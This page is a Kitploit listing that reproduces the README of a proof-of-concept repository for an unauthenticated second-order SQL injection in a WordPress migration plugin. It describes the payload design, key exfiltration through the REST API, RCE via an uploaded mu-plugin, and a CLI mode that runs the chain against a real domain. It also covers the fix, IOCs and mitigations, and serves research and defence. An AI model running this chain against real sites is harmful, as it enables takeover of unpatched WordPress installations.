Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
POC-AIOWPM-CVE-2026-19949 — Reproducible proof-of-concept basé sur Docker pour CVE-2026-19949, une injection SQL de second ordre dans All-in-One WP Migration <= 7.109 qui divulgue la ai1wm_secret_key via l'API REST anonyme et permet une escalade vers l'exécution de code à distance. | Kitploit
Outils/GitHubGitHub/686f6c61/poc-aiowpm-cve-2026-19949
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationRed TeamingLabs et Pratique
GitHub686f6c61/poc-aiowpm-cve-2026-19949

POC-AIOWPM-CVE-2026-19949

Reproducible proof-of-concept basé sur Docker pour CVE-2026-19949, une injection SQL de second ordre dans All-in-One WP Migration <= 7.109 qui divulgue la ai1wm_secret_key via l'API REST anonyme et permet une escalade vers l'exécution de code à distance.

Voir le dépôtSite web
1il y a 7h 48mPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-19949 — Preuve de concept documentée et reproductible sous Docker

Injection SQL de second ordre non authentifiée dans All-in-One WP Migration and Backup (WordPress) qui permet d'exfiltrer la ai1wm_secret_key et, avec elle, d'exécuter du code à distance (RCE).

Lire ceci en : English · Español

CVECVE-2026-19949
PluginAll-in-One WP Migration and Backup (ServMask), ≤ 7.109
Correctif7.110 (20 août 2026)
CVSS8.8 (Élevée) — AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Condition préalableQu'un administrateur exporte et restaure le site (action de routine avec ce plugin)
ChercheurJack Taylor (programme de bug bounty de Wordfence)

⚠️ Usage exclusivement éducatif et défensif. Ce laboratoire attaque un site WordPress qui tourne sur votre propre machine, dans des conteneurs Docker. Ne l'utilisez pas contre des systèmes qui ne vous appartiennent pas ou pour lesquels vous n'avez pas d'autorisation explicite.

Sommaire

  1. Résumé de la vulnérabilité
  2. Cause racine : le regex qui inverse la chaîne
  3. Le correctif (7.109 → 7.110)
  4. Chaîne d'attaque complète
  5. Le payload dérivé (conception propre)
  6. Ce que ce dépôt reproduit et vérifie
  7. Compatibilité des versions (vérifiée)
  8. Structure du dépôt
  9. Prérequis et démarrage rapide
  10. Phases pas à pas (cibles make)
  11. CLI de démonstration
  12. Landing du CVE
  13. Détection et atténuation
  14. Notes de recherche
  15. Références
  16. Avis légal

1. Résumé de la vulnérabilité

Le flux d'exportation/importation du plugin vide la base de données en SQL (database.sql dans le .wpress) puis, lors de l'importation, réécrit chaque instruction avec Ai1wm_Database::replace_table_values() pour remplacer les URLs et les préfixes de table. Pour localiser les littéraux de chaîne, il utilise le regex :```php // 7.109 (vulnerable) — class-ai1wm-database.php:1637 preg_replace_callback( "/'(.*?)(?<!\\)'/S", array( $this, 'replace_table_values_callback' ), $input );

root@kitploit:~
Le problème réside dans le *negative lookbehind* `(?<!\\)` : **il n’examine qu’un seul octet**
avant chaque guillemet candidat à la fermeture, au lieu de compter la *run* complète de
backslashes. Dans un dump MySQL, des données se terminant par `\` sont écrites comme
`...\\'` — un guillemet de fermeture précédé d’un nombre **pair** de backslashes
(chaîne réelle se terminant par un backslash) — mais le regex la croit échappée et
**sur-capture le littéral suivant**. Le callback exécute alors
`unescape_mysql → replace_serialized_values → escape_mysql` sur la valeur
sur-capturée, et ce cycle ré-émet une séquence de guillemets/backslashes
déséquilibrée qui **bascule la limite de la chaîne MySQL** dans la déclaration
résultante, promouvant des données de l’attaquant en SQL exécutable.

## 2. Cause racine : le regex qui bascule la chaîne

Avec le trackback planté (voir §4), la ligne dans `database.sql` est :```sql
INSERT INTO `…_comments` VALUES (2,4,'Jack Blogs\\\\','','/*payload*/…','172.18.0.1',…);

L'auteur se termine par \ au niveau des données → le dump l'écrit comme \\ → la guillemet de fermeture est précédée d'un run pair. Le regex sur-capture jusqu'à la guillemet d'ouverture du champ suivant et le callback ré-échappe l'ensemble :``` 'Jack Blogs\\',' ← contenido sobre-capturado unescape → 'Jack Blogs\',' ← strtr colapsa los pares escape → 'Jack Blogs\\', ← una comilla ESCAPADA nueva ha aparecido salida → 'Jack Blogs\\','…' ← el par \ , ' voltea el límite de la cadena

root@kitploit:~
À partir de là, tout ce qui suivait dans la phrase est re-tokenisé avec la
parité modifiée (les données qui étaient des chaînes deviennent du code et
vice-versa). Le regex corrigé de 7.110 traite la même ligne et la renvoie
**identique**.

Vous pouvez le vérifier octet par octet, sans rien exploiter, avec
`make demo-flip` (`exploit/04_demo_flip.php`), qui exécute le code RÉEL du
plugin 7.109 et 7.110 sur la même ligne de dump.

## 3. Le correctif (7.109 → 7.110)```diff
- $input = preg_replace_callback( "/'(.*?)(?<!\\\\)'/S", array( $this, 'replace_table_values_callback' ), $input );
+ $input = preg_replace_callback( "/'((?:[^'\\\\]++|\\\\.)*+)'/sS", array( $this, 'replace_table_values_callback' ), $input );

The new pattern tokenizes MySQL literals correctly: either a character that is not a quote/backslash, or an escape pair \x, with possessive quantifiers. A run of paired backslashes no longer confuses the closing of the literal.

4. Complete attack chain

The chain published by Wordfence (Sept. 2026) has four steps:

  1. Planting (unauthenticated) — the attacker sends trackbacks to a public post with open pings (wp-trackback.php?p=<id>). The blog name (→ comment_author) ends in \ and the URL (→ comment_author_url) carries the payload. WordPress stores them without touching the slash. In the published variant, the first trackback acts as a time bomb: it forces the cut of the import pass (10 s limit) so that the payload executes in a later pass, when the importer has already restored the site's ai1wm_secret_key in wp_options (the exporter excludes it from the dump; the importer rewrites it between passes).
  2. Trigger (admin action) — an administrator exports and restores the site. During import, the vulnerable regex rewrites the trackback row: the string limit is flipped and the payload becomes executable SQL.
  3. Exfiltration — the payload copies ai1wm_secret_key to an approved comment of type comment, visible in the comments REST API without authentication.
  4. RCE — admin-ajax.php?action=ai1wm_import is also registered for anonymous users (wp_ajax_nopriv_ai1wm_import) and its only barrier is ai1wm_verify_secret_key(). With the leaked key, the attacker drives the import chain with their own .wpress that includes a mu-plugin; the Ai1wm_Import_Mu_Plugins step (priority 270 of the chain) extracts it to wp-content/mu-plugins/ → code execution on the next load.

This repository verifies the chain end to end with a single planted trackback (the time bomb is not necessary in the lab: the row executes in a later pass after the key reset).

5. The derived payload (own design)

The researcher's exact exploit is not public (exhaustive search on 2026-09-07: GitHub — the 2 existing repos are an empty template and a mass tool with nonexistent endpoints —, Exploit-DB/PacketStorm 0, Sploitus only indexes those fake repos, WPScan without PoC, forums only news; forensic detail in research/poc-publica/ANALISIS.md).

We derived it ourselves from the analysis of the mechanism (exploit/investigacion/). Design:

  1. The blog name ends in \ → the one-byte lookbehind of the vulnerable regex over-captures the following literal and the unescape→escape cycle flips the string limit.
  2. After the flip, the attacker's URL remains as bare SQL code in the INSERT statement (the merged comment_author and a , string absorb the offset; a leading comma in the URL restores the devoured structural separator).
  3. The URL provides the 12 remaining expressions of the tuple with hex literals and /**/ as separators:
    • a quote from the data reaches the dump as \' and in code zone would leave an orphan slash (error 1064) → hence the hex (0x616931776d… = "ai1wm_secret_key");
    • sanitize_url removes spaces (and prepends http:// to anything that does not start with /) → hence the /*pwn*/ start and the /**/;
    • column mapping: the 5th (comment_author_url) = the subquery that reads the key → the key ends up in a public field; the 11th = 0x31 ('1', approved comment); the 13th = 0x636f6d6d656e74 ('comment', visible in the anonymous REST);
    • ) closes the tuple with exactly 15 values and # (MySQL comment without space, which sanitize_url respects) neutralizes the rest of the original statement.
  4. The subquery references SERVMASK_PREFIX_options: the importer rewrites the SERVMASK→real prefixes before the regex pass, so the payload works on sites with any table prefix (verified). The only target-specific data is its URL, carried in the excerpt to trigger the importer's strpos filter (it only rewrites lines containing it).

The resulting statement (the one MySQL executes during restoration): comment_author_url = (SELECT option_value FROM <prefix>_options WHERE option_name='ai1wm_secret_key') — the authentic key ends up in a field that the REST API publishes without authentication.

6. What this repository reproduces and verifies

Chain stepStatusWhere
Reproducible vulnerable installation (WP 7.1 + plugin 7.109)✅make lab
Unauthenticated planting via trackback (byte-exact, auto-approved)✅make plant
Admin export; the dump contains the planted row✅make export
Root cause: regex 7.109 flips the string limit (vs 7.110 intact)✅make demo-flip
Admin restoration: the flip rewrites the SQL and corrupts/loses the row in 7.109✅make restore
Key exfiltration (own derived payload) → real leak via unauthenticated REST✅make leak
RCE: unauthenticated import with the key → mu-plugin executed✅make rce-auto
Negative control: in 7.110 the row survives intact, no leak✅make control-7110
WP 7.1 / 7.0.4 / 6.9.4 / 6.8.3 matrix: complete chain ✓ in all✅research/test-wp-versions.sh
Full remote chain (HTTP only, valid for a real domain)✅python3 cli/poc.py explotar …

Verified end-to-end result: after the admin's export+restore, the authentic ai1wm_secret_key appears as the author_url of an approved comment in GET /wp-json/wp/v2/comments — with no authentication whatsoever — and with it the RCE phase executes (mu-plugin extracted and executed, evidence markers in wp-content/). In 7.110 the row survives intact (the payload remains as inert data) and there is no leak.

The RCE phase is also demonstrated independently: its only input is the key, which can be passed by hand (make rce KEY=…) — the attacker's exact state after the leak.

7. Version compatibility (verified)

Matrix run with bash research/test-wp-versions.sh 7.0 6.9 6.8 (lab rebuilt per version, plugin 7.109, identical payload):

WordPressplantexportrestoreleakRCE
7.1.0✓✓✓✓✓
7.0.4✓✓✓✓✓
6.9.4✓✓✓✓✓
6.8.3✓✓✓✓✓

The mechanics are stable in all: sanitize_url respects the payload, wp_comments keeps the 15 columns and wp-trackback.php remains operational. The payload is independent of the table prefix (see §5).

8. Repository structure```

docker-compose.yml WordPress (php8.2-apache) + MySQL 8; PLUGIN_VERSION y WP_VERSION configurables (7.109 por defecto, 7.110 control) docker/wordpress/Dockerfile imagen del sitio víctima: wp-cli + plugin de WordPress.org setup/init.sh core install, activa el plugin, crea la entrada con pings abiertos, comentarios sin moderación exploit/ ← fases numeradas de la PoC 01_plant_trackback.sh Fase 1 — trackback malicioso (no autenticado) 02_export.sh Fase 2a — export del admin (vía aiowpm_client) 03_restore.sh Fase 2b — restauración del admin + ANTES/DESPUÉS de la fila 04_demo_flip.php Causa raíz byte a byte: regex 7.109 vs 7.110 05_build_wpress.py Construye el .wpress malicioso (package.json + mu-plugin) 06_rce_unauth.py Fase 3 — import no autenticada con la clave → RCE 07_leak_key.sh Fase 3a — lee la clave filtrada de la REST anónima aiowpm_client.py Cliente del protocolo AJAX del plugin (export/import por prioridades, como su JavaScript) wpress.py Lector/escritor del formato .wpress (bloques de 4377 B) mu_plugin.php Mu-plugin BENIGNO (marcadores de evidencia, sin shell) investigacion/ Arneses y fuzzers con los que se DERIVÓ el payload: harness.php (pipeline real del plugin + MySQL de prueba), afinar/test/fuzzers, NOTAS.md del análisis cli/poc.py CLI de demostración: lab / scan / verificar / explotar web/index.html Landing bilingüe del CVE (estilo base de datos de vulnerabilidades; sin dependencias externas) research/ test-wp-versions.sh Matriz de compatibilidad por versión de WordPress poc-publica/ANALISIS.md Refutación forense de las «PoC públicas» falsas Makefile Objetivos: lab, plant, export, restore, demo-flip, leak, rce-auto, full-demo, control-7110, demo-cli… README.md / README.en.md Esta documentación (ES/EN) .gitignore Fuera: informes con claves, .wpress generados, zips y fuentes del plugin (terceros), PoC falsas descargadas

root@kitploit:~
Artefactos que se generan al ejecutar y **no se comparten** (ver `.gitignore`):
`informes/` (contienen claves filtradas), `exploit/malicious.wpress`,
`plugin-src/` (fuentes 7.109/7.110 extraídas para diff), `research/*.zip`
(zips originales de WordPress.org), `research/database.sql`,
`research/backup-legit.wpress` y los ficheros de las PoC falsas analizadas.

## 9. Requisitos y arranque rápido

Requisitos: Docker (con el plugin compose), make, python3 con `requests`, curl.```bash
make full-demo      # laboratorio completo de cero: lab → plant → export →
                    # restore → flip → leak → rce (todo lo anterior de una vez)

Sortie attendue (résumée) :``` FASE 1 trackback plantado sin autenticar (error 0, comment_approved=1) FASE 2a export OK → .wpress en ai1wm-backups/ FASE 2b restauración: ANTES hay 2 trackbacks → DESPUÉS solo queda el benigno: la fila con '' final se pierde (INSERT reescrito/corrupto en 7.109) FLIP regex 7.109: 'Jack Blogs\\', → 'Jack Blogs\\',' (límite volteado) regex 7.110: la línea sale IDÉNTICA LEAK ai1wm_secret_key visible en la REST de comentarios sin autenticar RCE import anónima con la clave → /var/www/html/PWNED_CVE_2026_19949.txt + wp-content/mu-plugins/pwned.php + option pwned_cve_2026_19949

root@kitploit:~
Accès au site victime : <http://localhost:8080> — admin / `admin-password-123`
(entrée publique ID 4 avec pings et commentaires ouverts).

## 10. Phases étape par étape (objectifs de make)```bash
make lab             # levantar/inicializar el laboratorio (plugin 7.109)
make plant           # Fase 1 — plantar el trackback (anónimo)
make export          # Fase 2a — exportar como admin
make restore         # Fase 2b — restaurar como admin (muestra ANTES/DESPUÉS)
make demo-flip       # causa raíz: 7.109 vs 7.110 sobre la misma línea
make leak            # Fase 3a — leer la clave filtrada de la REST (anónimo)
make rce KEY=XXXX    # Fase 3 — RCE pasando la clave a mano
make rce-auto        # Fase 3 — RCE encadenado con la clave filtrada
make control-7110    # control negativo con el plugin parcheado
make lab-7109        # volver al laboratorio vulnerable tras el control
make demo-cli        # demo completa vía CLI (+ informe y control negativo)
make scan-cli URL=https://www.ejemplo.com   # detección no invasiva
make landing         # servir la landing del CVE en http://localhost:8090
make status | logs   # estado de contenedores / log de WordPress
make down | clean    # parar / parar y borrar volúmenes y artefactos

11. CLI de démonstration

Une seule commande avec tous les modes ; génère des rapports dans informes/ (texte + JSON ; le dossier est hors du dépôt car il contient des clés) :```bash python3 cli/poc.py lab # demo completa en el laboratorio (cadena + control 7.110) python3 cli/poc.py scan https://www.tudominio.com # detección NO invasiva (versión del plugin) python3 cli/poc.py verificar https://www.tudominio.com # ¿clave ya filtrada? (REST anónima) python3 cli/poc.py explotar https://www.tudominio.com --acepto-responsabilidad
--admin-user TU_ADMIN --admin-pass TU_CLAVE --rce # cadena completa en TU dominio

root@kitploit:~
- `lab` lève le laboratoire, exécute la chaîne complète et le contrôle
  négatif avec 7.110, et rédige le rapport (`--sin-control` pour l'omettre).
- `scan` est 100 % passif : lit le `readme.txt` public du plugin, vérifie
  `wp-trackback.php` et la REST des commentaires. Renvoie le verdict.
- `verificar` re-vérifie si la clé apparaît déjà dans la REST anonyme (p. ex.
  des heures après l'installation, lorsque l'admin a effectué sa sauvegarde+restauration).
- `explotar` est INVASIF et exige `--acepto-responsabilidad` + confirmation
  interactive du domaine : plante le trackback, simule l'admin
  (export → téléchargement de la sauvegarde → re-téléversement et restauration ; **HTTP uniquement**, avec les
  identifiants que TU fournis pour TON site), lit la clé filtrée et, avec
  `--rce`, laisse un marqueur bénin via l'importation anonyme. Sans identifiants
  d'admin : plante et reste en attente (`--esperar` pour tenir le leak ;
  `--post-id` pour choisir l'entrée ; `--no-interactivo` pour les scripts).

## 12. Landing du CVE

Page statique bilingue (ES/EN, commutateur dans l'en-tête, préférence
mémorisée) qui explique le CVE et le payload avec une esthétique de base de
données de vulnérabilités : résumé, chaîne, **décomposition interactive du payload
segment par segment**, matrices de vérification et d'atténuation.```bash
make landing          # sirve http://localhost:8090

Sans dépendances externes (ni CDN ni JS tiers) : fonctionne en ouvrant web/index.html directement ou avec n’importe quel serveur statique.

13. Détection et atténuation

  • Mettre à jour All-in-One WP Migration and Backup vers ≥ 7.110 (l’ atténuation est le correctif du regex lui-même).
  • Mesures défensives supplémentaires : désactiver wp-trackback.php et les pingbacks (options de discussion / WAF), restreindre admin-ajax.php pour les anonymes lorsque c’est possible, et surveiller l’apparition de fichiers dans wp-content/mu-plugins/ et de l’option ai1wm_secret_key dans des contextes anormaux (p. ex. commentaires).
  • IOC (à des fins de détection) : commentaires trackback dont le comment_author se termine par \ ou dont le comment_author_url contient SELECT/**/, CONCAT(, des littéraux 0x… longs ou /*…*/ ; commentaires approuvés dont le author_url est une chaîne alphanumérique de 12 caractères sans schéma.

14. Notes de recherche

  • Dérivation du payload (exploit/investigacion/) : nous partons d’un harnais (harness.php) qui charge les classes RÉELLES du plugin 7.109 et exécute le pipeline contre un MySQL de test avec une clé factice. Les fuzzers (search_payload.php, fuzz_rows.php, fuzz4.php, bruteforce_author.php) ont exploré des alphabets critiques sur les quatre champs contrôlables du trackback ; afinar_payload.php a ajusté le nombre d’ expressions (N=12) et test_payload_final.php a validé la conception complète. NOTAS.md recueille l’analyse, y compris les murs structurels (champs fixes de l’INSERT de wp_comments, sql_mode imposé par l’importateur, filtre strpos de l’URL du site).
  • Aucun exploit public réel (research/poc-publica/ANALISIS.md) : les deux dépôts GitHub qui prétendent le détenir utilisent des endpoints inexistants (aio-migration/v1 avec permission_callback vs le ai1wm/v1 réel), un champ d’upload erroné (file vs upload_file), un format ZIP au lieu de .wpress, et une prémisse circulaire. Aucune source tierce n’a de PoC propre.
  • L’exploit public de cette PoC dérive du mécanisme, il n’a été copié de personne : c’est une vérification indépendante que la chaîne publiée par Wordfence est exploitable telle que décrite.

15. Références

  • Wordfence — 5 Million WordPress Sites Affected by SQL Injection Vulnerability in All-in-One WP Migration and Backup WordPress Plugin (septembre 2026)
  • Entrée du CVE : https://nvd.nist.gov/vuln/detail/CVE-2026-19949
  • WPScan — All-in-One WP Migration and Backup < 7.110 — Unauthenticated Second-Order SQLi — https://wpscan.com/vulnerability/03fc9f1a-5199-40fa-960d-75a266eb7e95/
  • Correctif 7.110 : https://downloads.wordpress.org/plugin/all-in-one-wp-migration.7.110.zip (le diff vulnérable→corrigé se trouve dans lib/vendor/servmask/database/ class-ai1wm-database.php:1637 ; les sources extraites vivent dans plugin-src/, non partagées)

16. Avis légal

Ce matériel est publié à des fins éducatives et défensives : comprendre la vulnérabilité, vérifier le correctif et construire des détections. La chaîne n’a été exécutée que contre des laboratoires Docker personnels. Attaquer des systèmes tiers sans autorisation écrite est illégal dans la plupart des juridictions. Si vous administrez des sites affectés : mettez à jour vers ≥ 7.110, faites pivoter la ai1wm_secret_key (désactivez/réactivez le plugin ou supprimez l’option pour qu’elle se régénère) et auditez wp-content/mu-plugins/ et les commentaires récents.

Télécharger l’outil